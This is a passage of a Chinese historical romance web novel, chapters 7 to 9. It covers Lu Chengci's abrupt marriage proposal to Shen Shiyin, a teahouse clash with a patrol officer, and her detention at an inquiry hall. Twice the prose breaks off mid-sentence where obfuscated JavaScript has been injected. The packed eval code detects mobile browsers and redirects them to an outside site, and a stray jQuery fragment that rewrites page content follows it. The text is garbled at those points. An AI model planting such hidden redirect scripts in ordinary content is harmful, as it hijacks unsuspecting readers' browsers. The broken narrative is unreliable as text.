沈意林说罢便去后院寻找陆呈辞,沈识因却不由蹙起眉头。她先前已婉拒过邀陆呈辞同行,时下许夙阳又突然提起,不知是何用意。 恰在此时,沈书媛与周烨采买归来,众人彼此寒暄几句后,便相继步入膳厅。 沈识因始终心绪不宁,满心萦绕着陆呈辞与那桩命案。袖中仍藏着许夙阳所赠的那对耳坠,她本想坦言相询,可面对许家如此急切的订婚之举,又隐隐察觉出几分不寻常。 或许太保大人与夫人态度的转变,是想借此寻一座靠山,又或是……想找一个垫脚石? 官场风云诡谲,牵一发而动全身,其间利害她自然清楚。尤其他们这等官宦门第,关系盘根错节、明争暗斗,为保全自家利益,往往步步为营。自幼耳濡目染的她,不得不心生戒备。 因此,她断不能再贸然直接向许夙阳追问。而是,一要与父亲深谈一番,二是得寻个合适机会,向陆呈辞问清来龙去脉。 众人进了膳厅依次落座,菜肴也一道道端了上来。 膳厅之中男女分席,沈识因与母亲、许夫人及姐姐同坐一桌。她始终低首不语,母亲看出她心神不宁,便在桌下轻轻握住她的手,无声地宽慰着她。 正在沈识因心绪纷乱时,二哥便带着陆呈辞进了膳厅,而陆呈辞一进门就看了她一眼。 人就是非常奇怪,有时候只是一个眼神交流,就能探寻出对方的情绪,甚至动机。 陆呈辞看她的眼神,带着很强的攻击性与目的性。 7. 第 7 章 陆呈辞甫一踏入厅内,原本坐着的人们纷纷起身,恭敬地向他行礼。陆呈辞连忙抬手示意:“诸位不必多礼,随意便好。” 太保大人一见他便笑着迎上前来,语气殷切:“没想到陆世子今日光临,实在有失远迎,快请上座。” 亲王府世子身份尊贵,自然远非在场臣子可比,即便是太保大人同他说话也带着三分客气。 沈识因的父亲沈智亦含笑上前,拱手道:“下官方才外出办事,回府才得知世子莅临,招待不周,还望世子海涵。” 陆呈辞敛衣落座,神色平和地轻声道:“大人无需客气,快坐。” 几人客套一番纷纷坐下。待酒菜上齐,宴席便正式开始。 席间,太保大人与许夙阳待陆呈辞格外殷勤,频频敬酒。沈智与沈意林虽也知晓陆呈辞的身份地位,言谈间却不似许家父子那般刻意。 沈识因的祖父乃是当朝太师,又是天子之师,与圣上情谊深重。沈家世代忠良,始终坚定不移地站在皇帝一边。而亲王府权势煊赫,陆亲王的夺嫡之心,朝野皆知,并且膝下还有两个儿子。 作为九五之尊,岂容他一个亲王坐大?明眼人都看得出,天家与亲王,是两股水火不容的势力。 而今许家父子在太师府上,如此明目张胆地对亲王府世子殷勤备至,究竟是刻意做给沈家看的,还是当真存了投靠之心,不得而知。 许万昌如今已官至太保,地位尊崇,早非昔日需要依附沈家的门第。虽说当年许家受沈家提携的恩情不能忘却,可人心易变,恩义又能维系到几时? 用膳时,许夫人待沈识因格外亲厚,虽则婚事已明确暂时作罢,她却仍是殷殷为其布菜盛汤,一口一个“识因”唤得极为慈爱。 长辈将姿态放得这般低,不论背后藏着什么心思,面子上总归是给足了体面,叫人挑不出错处。 宴罢,许家众人未再多留。官场中人事务繁杂,太保大人便领着家眷告辞。原本许夙阳尚欲留下,却被父亲以要务在身为由催着离去。 送走许家人后,沈大人与沈意林因公务繁忙陆续出府,周烨则陪着沈书媛去核对婚仪礼单。唯独陆呈辞仍独自坐在院中凉亭下,既无去意,也不说留下的目的。 周烨与未婚妻多些相处自是应当,沈书媛也存了留他用晚膳的心思。可陆呈辞不一样,他是亲王府世子,诸多公务缠身,又担着查案的要务,并且与沈府又素无深交,根本没有逗留的理由。 沈夫人只当他是在等周烨一同离去,不好怠慢,便吩咐下人奉上茶点后忙自己的事去了。 沈识因原本要回自己院里,瞥见那道坐在亭中的身影后,却鬼使神差地转向后园。 她走到那片秋海棠前,见花丛前那把摇椅仍在原处,驻足片刻后,提起水壶继续浇花。 不一会,陆呈辞来了。 他们好似心有灵犀般,心照不宣地来到这里。 沈识因放下水壶,转身轻轻一礼:“世子。” 陆呈辞低低应了一声,目光落在她微微低垂的眉眼上。两人相对而立,即便默然不语,空气中却已然流转着难以言说的缱绻。 沈识因正斟酌着要如何开口探问许夙阳涉命案之事,还未及出声,却听陆呈辞先道:“许夙阳牵扯命案一事,我尚未向他挑明。其中牵扯甚多,在未查明前不便打草惊蛇。” 沈识因望进他眼底,试图辨出这话里的真假,静默片刻后,轻声道:“那世子为何屡次提点于我?其中可有深意?此事与我究竟有何干系,还望世子明示。” 沈府后园景致开阔,四下绿荫掩映,唯独这片秋海棠开得正艳。秋风过处,暗香浮动,卷起她鬓边几缕青丝。 陆呈辞垂眸凝视着她开合的红唇,粉腮上那抹若有若无的绯色,以及望向他时那双带着困惑与戒备的明眸。 他一时有些晃神,道:“不过是提醒你离他远些,莫要卷入这是非之中。只要你不与他订亲,日后疏远着他,不收他任何物件,此事便与你无干。” “你既是官家小姐,许多事应当明白,不必我多言。你有防人之心是好事,这般心性能护得住自己也护得住家人。但我仍要多说一句,终身大事,务必要将人心掂量清楚。” 终身大事,务必要将人心掂量清楚。 他一个外人,为何要与她说这些? 她微微蹙起秀眉,疑惑道:“世子若是查案便查案,若是相助便相助,何必非要牵扯到儿女私情上来?许夙阳是否涉案,与我和他的情分本就不相干。” “那你今日为何执意推了这门亲事?”陆呈辞突然问道。 他这一问,她突然怔住。 她直视着他,因着身量悬殊,不得不微微仰首。四目相对间,她竟半晌答不出话来。 陆呈辞的目光牢牢锁住她的眼眸,也不再言语。 两人就这般静静相望,周遭的秋色仿佛都失了颜色,唯余彼此的身影深深烙在眼底。 他好像已经探寻到了她凌乱的思绪,所以才会这么问。 这一刻,她隐约觉察到什么。自失去那段记忆以来,她还是头一回生出这般强烈的感觉。但这个念头刚冒出来,就被她强行压了下去。 她强自镇定地别开视线,轻声道:“多谢世子好意提点,此事,我自有分寸。” 她说完欲要转身离去,他却伸手拦住她:“明晚月洞湖畔有烟花盛会,我想邀你同去,你可愿意?” 他邀她去看烟花? 沈识因不由怔住,抬眸看他,面颊煞时泛红,不可置信地道:“世子莫不是在说笑?您明知我正在与许家议亲,此时说这样的话,不觉得太过唐突了吗?况且,我们这才第二回见面。” 跟陌生人有何分别? 陆呈辞凝视着她的眼睛:“你不是已经推拒了与许夙阳的婚事吗?” 他语气郑重了一些:“不然,你嫁给我。” 嫁给他? 这话好似大晴天里突然砸下一声闷雷。沈识因震惊地呆愣住,以为自己听错了。 她看了他好一会,却未在他那张清风朗月般好看的脸上,看出半分玩笑的意思。 秋日的阳光虽浓,但是很温和,一缕光照在她越来越红而又不可置信的小脸上,映得她本就好看的模样更加动人。 过了好一会,她才蹙眉道:“世子是在拿我取笑吗?您日理万机,又肩负查案重任,何必在此浪费时间。况且,这个玩笑,也不好笑。” 一点也不好笑。 陆呈辞突然向她走近一步,声音低沉:“那你又怎知,我不是真心?” 真心?他竟然说真心?沈识因觉得不可思议,下意识地后退半步。什么样的真心,竟能让一个方才见过两面的男子,对正在议亲的女子说出这样的话? 她不理解。 况且,他作为亲王府世子,又是依什么心情轻率地说出这般关乎终身的话来? 她满心疑窦,可他那双好看的眸子,又看不出半分戏谑。 静默良久,她才道:“世子莫要拿我取笑。我虽推了许家的亲事,却不代表就能这般轻率地另择他人。官家女子的婚事固然关乎家族,可我也不愿就此盲目择婿。” “更何况太师府的立场,世子作为亲王府的人应当再清楚不过。莫说我不会答应,便是我的父母、祖父,也断无可能应下这门亲事。” 太师府明显已经站了队,是绝无可能与亲王府有任何牵扯的,更何况联姻。 “所以,你是要拒绝我?” “是,你我之间,绝无可能。” 绝无可能。 周围安静了好一会。 求娶这般直白的话,于一个未出阁的女子而言,实在是过于私密,也过于僭越。 她未曾想到,陆呈辞竟会如此轻易地说出来。她与许夙阳议定婚期之事,他分明知晓,却仍在她毫无准备之时突兀地说出这般言语,无端令人不适,更谈不上半分尊重。 两个近乎陌生的人,何至于此?多少有点轻率和冒犯了。 她心头一阵烦闷,不愿再多言,转身便要离开。 “你当真不答应?”他又问。 “当真不答应。还请世子言语自重,注意分寸。”她脚步都未停。 “你是觉得,我这般不够郑重?” 她没有回答,走得更急了。 “沈识因。”他唤了她一声。 她依旧头也不回,很快离开了花园,只是走着走着,脸颊却不受控制地灼烧起来,一路红至耳根。 她实在想不通,这世上怎会有这样的人,将那样庄重的话,说得如此轻易。 莫不是脑子有什么毛病。 沈识因心绪纷乱,一整日都神思不属,明明是不情愿的事,陆呈辞那些直白又唐突的话却总在耳边挥之不去。直至第二日清晨,她仍旧头脑昏沉,一夜未曾安枕。 为了驱散这恼人的混沌,她索性去帮母亲整理姐姐出嫁的嫁妆,埋首于琐碎事务中,一忙便是一整日,直至暮色四合。 傍晚霞光满天,她的好姐妹云棠突然来了。 云棠是文安侯的孙女,自幼养尊处优,生就一副明媚鲜活的性子,在京城贵女中颇有名气,很多达官贵人家的公子想娶她为妻,可她至今未看上一个。 她与沈识因、沈书媛姐妹自小一同长大,情谊深厚,堪比亲生。但凡得了什么新奇有趣的玩意儿或吃食,她头一个想到的便是沈家姐妹。 此刻,她眉眼弯弯,拉着沈识因的手便道:“识因,今晚月洞湖有盛大的烟花会,我们一同去看可好?顺便随我去锦绣阁裁几身新衣裳,待到书媛姐姐出嫁那日穿。” 不等沈识因应答,一旁的母亲便笑着应承下来:“去罢去罢。等书媛出了阁,怕是再难像如今这般自在同游了。今日你们便痛痛快快去玩,我多派几个稳妥人跟着,只是切记莫要贪晚。” 母亲是过来人,深知女子出嫁后便如同折翼,会失去很多自由。她私心里总盼着女儿们在踏入婚姻前,能多攥住几分欢愉。 暮色初合,华灯渐上,三位姑娘便带着侍女护卫,说说笑笑地登上了马车,融入了京城的夜市人潮之中。 她们先去了裁缝铺子,陪着云棠仔细挑了几匹时新的料子,量体裁衣。 待出了铺子,一阵裹着凉意的秋风卷着落叶簌簌吹过。因临近中秋,长街之上一片喧腾热闹,各式摊贩鳞次栉比,叫卖声不绝于耳。尤其是几家点心铺子,更是飘出阵阵甜香,诱得人挪不动步子。 三人便顺势走进一家,店内暖香扑鼻,刚出炉的各色点心和月饼琳琅满目,花样精巧别致,竟是许多未曾见过的造型。 掌柜的见三位衣着不俗的小姐进来,立刻堆起笑脸迎上前:“三位姑娘来得正巧!今年小铺的月饼可是下了大工夫,模样、馅料都是京里公子小姐们最时兴的,您几位瞧瞧?” 说着便捧过一个宽大的朱漆木盒,里头整齐码放着各式月饼,果真造型别致,色彩妍丽,莲蓉、豆沙、五仁、火腿……甜咸俱备,香气诱人。 沈识因瞧着喜欢,纤指轻点了几样芙蓉花和玉兔造型的:“劳烦掌柜,将这几样包起来。” 云棠也凑上前,指着另几枚绘着如意云纹和枫叶的笑道:“这些我也要,包得仔细些。” 掌柜连声应着,手脚麻利地开始打包:“好嘞!这就给姑娘们包得妥妥当当。” 三人提着新买的糕饼出了店,途经平日惯去的那家清雅茶馆。云棠脚步一顿,指了指里头笑道:“离放烟花还有些时辰,不如进去歇歇脚,饮杯茶润润喉。” 沈淑媛与沈识因皆点头应允,一同进了茶馆,熟门熟路地走向常坐的二楼临窗雅座。她们唤来伙计,点了两样精细茶食并一壶近日颇受推崇的雪蕊含芳。 茶香尚未氤氲开来,楼梯处却陡然传来一阵急促杂乱的脚步声,夹杂着甲胄摩擦的铿锵之音。 不过瞬息之间,一群身着公服、腰佩兵刃的巡军便涌了上来,如狼似虎般将整个茶馆二楼围得水泄不通。 堂内原本的闲适宁静被骤然打破,茶客与伙计皆惊得骤然起身,面面相觑,不知所措。 正当此时,一声冷厉的断喝炸响:“巡城司查案,所有人原地坐好,妄动者——杀无赦。” 声如寒铁,震得人心头发颤。满座宾客霎时面色如土,战战兢兢地跌坐回原位,连呼吸都屏住了,偌大的茶楼竟落针可闻。 众人惊惧的目光纷纷投向楼梯口。只见为首那位年轻公子,身着一袭玄色巡捕官服,手握长剑,身姿挺拔如松,面容俊朗非凡,只是眉宇间凝着一股迫人的肃杀之气。 他一踏入雅间,那双锐利如鹰隼的眸子便寒沉沉地扫视过来,不放过任何一丝角落。 四下里顿时响起一片压抑的窃窃私语。 “怎地又查?这三日都第几回了?一没杀人二没放火的,查个什么劲?” “嗐,新官上任三把火呗!仗着他老子的身份,就跟打了鸡血似的,屁大点盗窃案也要翻个底朝天。” “您还不知道吧?昨儿个把我们那条街挨家挨户都踹门搜了一遍,也不知到底要找什么……” 有人嗤笑一声,压低嗓子:“装模作样罢了,他那顶巡捕的帽子,谁不知道是使了银子换来的?不摆足威风,怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221033|181517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 压得住场面?” “就是,就是……” 几人正低头嘀咕,一名巡军猛地跨步上前,“沧啷”一声锐响,冰冷的长剑已架在了最先开口那人的颈侧。 “放肆!”那巡军面色凶悍,厉声喝道,“竟敢在此非议巡捕大人,是嫌命太长了吗?” 被剑锋抵住的人霎时面无人色,抖着声音连连告饶:“官、官爷饶命,小的……小的就是寻常百姓,吃口茶罢了,绝不敢耽误大人们办案。” 那巡军冷哼一声,手腕微动,剑刃又逼近几分:“管好你们的舌头,如今这位可是咱们这地界的巡捕老爷,都把招子放亮些,见了面,恭恭敬敬的,听见没有?” 那被剑架着的人吓得浑身哆嗦,连声应和:“是是是,官爷教训的是,大人是我等百姓的福星,日夜操劳,缉盗办案,实在是辛苦。” 这奉承话甫一落地,不远处却蓦地传来一声清晰的“扑哧”轻笑。 那巡军顿时瞪圆了眼睛,凶悍的目光四下扫视,很快便锁定了不远处桌边一个以袖掩唇的姑娘。 他刚要发作,却见那位一直沉默冷眼的巡捕大人微蹙了下眉头,抬手制止了下属,自己则大步流星地走上前去。 他停在掩唇轻笑的云棠面前,目光沉沉,带着几分无奈压低声音道:“你这死丫头,笑什么?” 原本只是看戏的云棠,眼见自家这位新官上任的表哥如此“威风八面”,实在没忍住才笑出了声。 她见表哥走到跟前,勉强敛了笑意,一双明眸却仍弯着,促狭道:“表哥,你在这儿拿着鸡毛当令箭,装模作样地吓唬老百姓,就不怕我回头告诉舅舅,让他把你这身官皮给扒了?” 她说着,纤指轻轻点了点周围噤若寒蝉的茶客:“这太平盛世的,哪来的什么杀人重犯?你在这儿兴师动众,不是白白浪费时辰,扰民不安吗?瞧把大家吓的,茶都喝不痛快,还要被刀架着脖子说好话。依我看呐,你这巡捕大人当得,可实在不怎么称职。” 眼前这位看似威风凛凛的巡捕大人严澈,正是云棠的表哥,当今刑部侍郎的长子。年方二十,前不久才刚坐上这巡捕之位,结果短短几日便在附近街巷“声名远扬”。 人人都知这位新官办案阵仗极大,规矩极严,四下搜检抓贼,风声鹤唳。可一个多月过去了,莫说江洋大盗,连个偷鸡摸狗的毛贼都没见他逮着半个。 表哥究竟有几斤几两,云棠心里再清楚不过。早听闻他这般做派,今日亲眼得见,那虚张声势的模样实在令人忍俊不禁。 严澈被自家表妹当众这般奚落,顿时面红耳赤,却碍着身份不好发作,只得压低声音冷斥:“你这丫头休要胡言乱语,此处不是你玩闹的地方,速速离去。近来不太平,若再口无遮拦,仔细我……我将你拘回衙门问话。” 云棠岂会怕他,反而冷笑一声,嗓音清亮,毫不避讳:“表哥好大的官威,你便是将我拘到皇宫里去又如何?我一非盗匪,二未杀人,你办案缉凶自是应当,可何须摆出这般阵仗?平白扰得百姓不安,办案原可在不影响民生时暗中查访,你这般兴师动众、如狼似虎,半分人情不讲,与那街市欺行霸市的恶棍有何分别?” 云棠与严澈自幼一同长大,却是天生的冤家对头,彼此看对方哪处都不顺眼。 偏生两人都生就一副伶牙俐齿,见面必要掐起来,你一言我一语,谁也不肯吃亏半分。 幼时更是时常打架,云棠动起手来从不留情,严澈也从未因她是女孩儿便有丝毫相让。 直至年岁渐长,云棠及笄后,动手是不便了,可那两张利嘴却从未消停,每每相见,仍是针尖对麦芒,互相拆台奚落。 今日云棠见他这般装腔作势,实在忍不住,一番嘲讽更是毫不留情。 严澈被她当众削了面子,顿时恼羞成怒,一把攥住她的手腕,厉声道:“休得在此胡言乱语,妨碍公务,我现在就押你回衙门,治你个扰乱之罪,关进大牢看你还能不能逞口舌之快。” 云棠用力挣了挣,反手推了他一把,柳眉倒竖:“严澈你敢,不过当了个芝麻小官,就在这儿作威作福?有本事真去抓几个贼寇来瞧瞧,只会欺压平民百姓算什么能耐。” 严澈紧抓着她手腕毫不放松,冷笑一声:“平民百姓?你今日在此公然藐视公门,顶撞上官,就是大逆不道,我抓你天经地义。” 严澈显然动了真怒。他素来极好颜面,此刻在众目睽睽之下被这小丫头连番顶撞讥讽,已是下不来台。他不由分说,拽着云棠的手腕便要强行将她拖出门去。 沈识因与沈书媛见状急忙起身,一左一右拉住了云棠。 沈识因上前一步,挡在云棠面前,温声劝解道:“严大人,请您息怒,大人大量。云棠她年纪小,口无遮拦,绝非有意冲撞官威,还请您高抬贵手,莫要同她一般见识。我们这便带她回去。” 严澈见是沈家两位小姐,神色稍缓,但语气依旧强硬:“沈姑娘,非是我不通情理。只是她公然藐视官差,扰乱公务,若不加管束,日后如何服众?今日必须带回衙门处置。街上不太平,两位姑娘若无他事,还请尽早回府。” 说罢,他再次用力欲将云棠拉走。云棠见他竟真要动粗,情急之下,猛地低头,对准他拽着自己的胳膊便狠狠咬了下去。 严澈猝不及防,痛得闷哼一声,下意识用力想甩开她,谁知云棠咬得极狠,竟一时未能挣脱。 严澈疼得眉头紧锁,使劲想推开云棠却未能如愿。沈书媛见云棠竟动了真格,急忙上前想要分开两人。 “死丫头,快松口。”严澈吃痛,又猛地一甩胳膊,本想挣脱云棠,却在推搡间未能碰到她分毫,反而一股大力猛地推在了正拉着云棠另一只胳膊的沈识因肩上。 沈识因猝不及防,被这力道推得踉跄着连连后退,脚下被凳子一绊,整个人便不受控制地向后倒去。 她惊呼一声,以为会摔倒在地,结果竟跌坐在了一个人的腿上。 腿上? 她猛然一惊。 突如其来的重量让坐着的人也为之一惊,他反应迅速地一手扶住桌案稳住身形,一手下意识地环住她跌过来的身子,稳稳地接在怀中。 一时间,沈识因只觉心跳骤停,蓦地睁大了眼睛。 她惶然转头,鼻尖几乎要蹭到对方的额头,下一刻,映入眼帘的竟是一张俊美却写满惊讶的年轻面容。 她定睛一瞧,不由吸了口气,此人不是旁人,正是亲王府世子陆呈辞。 陆……陆呈辞? 她竟然就这样跌坐在了陆呈辞的怀里? 只是,怎么走到哪里都能遇到他? 8. 第 8 章 三位姑娘本是出门游玩,随意寻了此处歇脚吃茶,谁知才刚坐下就发生了这等事。 沈识因对云棠与严澈自幼打闹到大的相处方式早已司空见惯,只是没料到二人竟在外人面前也毫不收敛,闹到要动手的地步。 偏偏两人都是倔脾气,劝也劝不住,拉也拉不开。结果推搡间,还让她一个踉跄,跌坐在了别人怀中。 这一刻,她只觉脑中一片空白,怔怔地对上陆呈辞近在咫尺的目光,一股熟悉的气息扑面而来,那些难以启齿的缠绵画面又蓦然浮现在眼前,直教她耳根发热。 她清晰闻到他身上清冽的竹叶香气,丝丝缕缕萦绕鼻尖,特殊而又熟悉。 他一只手臂牢牢揽在她腰间,掌心温度透过衣料传来,让她心跳如擂,脸颊不由地滚烫起来。 陆呈辞僵挺着脊背看着她,温软身躯真切落入怀中后,心脏莫名地跳个不停。娇嫩的肌肤,纤细的腰身,以及那惊惶羞赧、眉眼如画的面容,每一样都让他神思恍惚。 二人就这般怔怔相望,半晌都未缓过神来,直至陆呈辞的贴身侍卫岳秋出声询问:“世子,您没事吧?”沈识因这才猛然惊醒。 她慌乱地起身,结果陆呈辞仍揽着她不放,他手上一用力,她又忙不迭地坐回到他的腿上。她不由皱眉,脸颊一阵滚烫。 “妹妹!”这时候,沈书媛急忙跑来,见妹妹坐在一男子怀中,连忙扶她起身,待看清座上之人面容后,又骤然愣住。 陆呈辞回过神,松开了手。 沈识因得到自由,立即起身,顺势在他胸口狠狠掐了一把。 她用尽全身力气,掐得陆呈辞眉头紧皱。 陆呈辞注视着她,见她睁着一双明眸狠狠瞪来,忍住疼痛没作声。 沈书媛拉着妹妹上下打量,连声问道:“妹妹可曾磕着哪里了?” 沈识因轻轻摇头:“姐姐我没事,莫要担心。” 沈书媛见她无碍,这才松了口气。她看向陆呈辞,虽心有不豫,仍微微颔首行礼。 礼罢,她拉着沈识因就要离开,却见严澈已将云棠拽至楼梯口,准备强行带走。她正要开口制止,却听陆呈辞喊了一声:“严大人,且慢。” 他这一声清越洪亮,堂内众人闻声纷纷侧目。 有认得他的人当即低呼:“是陆世子!” 一时间,茶楼内鸦雀无声。 云棠一见是亲王府的陆世子,急忙呼救:“世子救我,严澈徇私枉法,要强行抓我。” 严澈看清陆呈辞,顿时僵住,连忙松开了云棠。 云棠一得自由,立刻跑到陆呈辞面前,边行礼边告状:“拜见世子。此人徇私枉法,竟要当街将民女强行带走,请世子明鉴。” 严澈回过神来,快步上前向陆呈辞行礼道:“世子容禀,方才……方才实是误会。并非下官徇私枉法,实在是这位姑娘屡次出言不逊、妨碍公务,下官才想请她回衙门问话。” 云棠见他倒打一耙,当即冷笑:“严大人莫非是以办案为名,行刁难百姓之实?我不过笑了一声,何至于要抓人?难道如今连笑都不准了?您身为朝廷命官,光天化日之下紧抓姑娘家的手,又成何体统?岂不知男女有别?” 严澈简直哭笑不得,伸出手递至陆呈辞面前,委屈道:“世子您瞧,这便是她口中的‘男女有别’。这牙印就是她咬的,都流血了。她从小与我打闹惯了,哪还讲什么男女有别?我可是她表哥!” 云棠立刻反驳:“现在倒认起亲戚了?方才要押我去官府时,怎么不见你提这层关系?我咬你那叫正当防卫。” 她说罢叉腰仰首,毫不示弱。 严澈气得咬牙:“云棠,你别不知好歹。” “不知好歹的是你。”云棠狠狠瞪他。 眼见两人再度争执起来,沈书媛急忙上前劝道:“你们都停下,既有陆世子在此,万万不可再失礼。严大人既有公务在身,便去忙正事罢。我与妹妹们还有要事,就不在此叨扰了。” 她心知不宜再僵持下去,便拉起沈识因与云棠就要离开,结果却听陆呈辞突然开口:“先别走。” 三人闻言脚步一滞,回身只见陆呈辞正色道:“你们几人当众喧哗争执,已扰乱市井秩序。严大人身为官员,当街与女子拉扯,更有失官体。现在你们都随我去一趟审司堂。” 去审司堂? 此言一出,几人皆惊。 严澈急忙躬身:“世子明鉴,下官只是依例查案,并未酿成冲突,更未惊扰百姓……” 云棠也霎时变了脸色,连声道:“世子恕罪,民女方才与表哥不过玩笑打闹,现已无事,实在不敢劳动世子、惊动审司堂。” 云棠虽常与严澈嬉闹,却深知官员与平民争执的后果,更明白一旦进了审司堂,事情便再难收场。 陆呈辞并未言语,目光淡淡扫过众人。 沈书媛见状急忙上前,温声劝道:“陆世子,此事本就是两个孩子玩着闹,您千万别往心里去。他们年纪小不懂事,既然话已说开,不如就此作罢,何必劳烦世子带往审司堂?若因此扰了您品茶的雅兴,我代他们向您赔个不是。” 她刻意将二人称作“孩子”,轻描淡写地将争执归为玩闹,无非是想大事化小。她心中清楚,严澈与云棠在此争执,只是呈口舌之快,至多回府后受家法处置。可若当真进了审司堂,性质就不一样了。 陆呈辞却语气平静:“沈姑娘,方才的情形我看得清楚。这两人因公务之事当街喧哗,已扰乱民生秩序,自当带去审司堂问话管教。” 他略微顿了顿,声调稍缓:“方才我看到沈姑娘并未参与争执,还多有劝解,那就不用去了,自行回府便是。” 让她一个人回去? 沈书媛急忙道:“世子明鉴,我这两位妹妹实在并未做错什么,还请准许她们与我一同回去。我作为长姐,带她们出来自然要全须全尾地带回,否则家中长辈定要责怪。” 沈识因也在一旁接话:“正是。虽说场面喧闹了些,可根源并不在我们。我方才也一直在劝和,世子为何连我也要带去审司堂?” 她觉得陆呈辞刻意刁难。 陆呈辞转眸看向她,手指轻点了下自己胸口,道:“姑娘虽未参与喧哗,可你方才确实冲撞了我,还出手掐了我。这般举动,难免有行凶之嫌,自当带回细问。” “行凶?”沈识因急忙辩白,“世子莫要乱说,方才情形您亲眼所见,我是不得已才撞到您身上,可您却……” 她语声一滞,压低声音道:“您却搂着我不放,我情急之下才掐了一下。” 她这句“搂着不放”说得极轻,旁人并未听清,陆呈辞却听得真切。他轻笑一声,道:“沈姑娘这般说辞,教我如何采信?不如随我走一趟,我们细细分说。” 他说罢转身便向楼梯口走去。 沈识因见他如此不容分辩,顿时气恼,急步追上前道:“陆世子莫要以为身份尊贵便可肆意妄为。若真有冲撞之处,我自当赔礼,但这‘行凶’之罪实在担当不起。分明是您先揽着我不放,我才不得已出手,怎的反成了我的不是?” 她越说越气,声调也扬高几分:“再说严大人当众对云棠妹妹动手,这般行径难道不该先论个是非?为何反倒要带我妹妹去审司堂?世子身为皇家子弟,如此处事,岂不令百姓心寒?” 陆呈辞并未答话,径自下楼。 沈识因见他置之不理,紧跟其后又道:“今日在场众人都可作证,我家妹妹不过笑了一声,严大人便要拿人。世子若真要秉公处理,也该先审此事才是。再说他们表兄妹自幼便是这般斗嘴惯了的,不过玩笑几句,转眼便和好如初,何须世子如此兴师动众?” 陆呈辞却依旧沉默,众人跟在其后,议论之声愈发嘈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221034|181517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杂。 沈识因见他如此冷淡,当真气极,一路跟在他身后说个不停,可陆呈辞始终充耳不闻,出店后就上了马车。 沈识因见状还要上前理论,却被陆呈辞的侍卫岳秋拦住:“姑娘稍安勿躁,有何缘由到了堂上再细说不迟。” 陆呈辞身为亲王府世子,权势在手,几人纵是再不情愿也无计可施。事已至此,他们只得随岳秋上了前往审司堂的马车。 沈书媛眼看两个妹妹被带走,急得眼圈发红,连忙登车回府去找父亲。 三人被带至审司堂后,堂内顿时热闹起来。云棠一路絮絮埋怨严澈,严澈也气得直挠头。 他新官上任,自然明白被带入审司堂意味着什么。即便陆世子不予惩处,回府之后也免不了要挨父亲一顿家法。 岳秋听着两人还在叽叽喳喳争执不休,无奈摇头,低声提醒:“到了这里就莫要再吵了,越是吵闹越是难走。想安全回去,就忍着点。” 二人闻言,悻悻然住了口。 他们原以为陆呈辞会立即升堂问话,不料他却吩咐岳秋:“将云棠与严澈暂押一室,沈识因随我来。” 云棠一听要与严澈同关一室,当即就要反驳,却被岳秋及时制止:“世子既已吩咐,照做便是。暂且委屈委屈,稍后自会放你们离去。若再喧哗,只怕要关更久了。” 云棠满心茫然,实在摸不透这位陆世子意欲何为。 难道就只为关关他们,吓唬一下? 她抓住沈识因的手,歉然道:“姐姐对不起,若世子要责罚,你只管推到我身上。” 沈识因温声安慰:“莫说傻话,不会有事的。你好生待着,别再同严澈争执了。” 云棠点点头,满腹委屈地随岳秋离去。 待他们走远,陆呈辞指向不远处一个房间,对沈识因道:“随我来。” 沈识因不明所以,本想再争辩几句,但是转念一想,既已至此,就别浪费口舌了。 她原以为陆呈辞带她去的是关押罪人的房间,不料竟是一间收拾得整洁雅致的居室。 进了屋,陆呈辞掩上门扉,语气比之前缓和许多:“你暂且在此歇息,若有需要,差人唤我便是。” 沈识因满心不解,蹙眉看他,问道:“世子当真要将我关起来?要关到何时?今日分明是您先搂着我不放,我才生气掐了您一下,绝无行凶之意。再者说,你我素无仇怨,我为何要对您行凶?” 陆呈辞闻言眉梢微挑,走近她一步,慢悠悠扯开胸前的衣襟,指着一处泛紫的掐痕道:“下手这么重,疼死我了。” 他就这般毫无顾忌地袒露胸膛,沈识因惊得睁大了双眼,脸颊霎时飞红。 这人莫不是有什么毛病? 她下意识看向他的胸口,白皙的肌肤上确实有一块不小的掐狠,已经发紫。她心虚地抿了抿唇,没想到自己下手这么重。 怪也只怪他皮肤太嫩了。 陆呈辞见她怔住不说话,拢了下衣衫道:“我这会儿还有要事去处理,你且在这里等我回来。” 他说罢转身就走。 沈识因见状急忙扯住他的衣袖:“你先别走,即便是我掐了你,你也不该将我关起来,这不至于到行凶的地步。你若生气,我给你道歉。你若觉得疼,我带你去看大夫。” 陆呈辞看了眼她抓着自己的手,又看向她瞪圆的杏眼,唇角不自觉地扬了一下:“其实,除了此事,我还有话要同你说。” “沈识因。”他俯身凑近了一些,望着她开始慌乱的眼眸,语气有些认真地道:“我思来想去,还是觉得你必须对我负责。要不然,你负责吧!” 负责? 负什么责? 不过是掐了他一下,就要她负责? 沈识因不可思议地看着他。 陆呈辞浅笑了一下:“是你说的,要负责,可不能耍赖!” 9. 第 9 章 沈识因觉得,陆呈辞与她绝非初识那般简单。每次相见,他投来的目光总不似看一个陌生人。同她说话时,语气也格外自然熟稔,仿佛他们是一对久别重逢的旧侣。 从前,她并不了解他究竟是怎样一个人。可如今,她却没来由地想要探知关于他的一切。 她从他的眼底,隐约窥见了某种“负责”的意味,绝不只是方才掐他那一下那么简单。 这种念头在她心底悄然浮现,她却不敢深究,更不愿确认。 房间里静默良久。 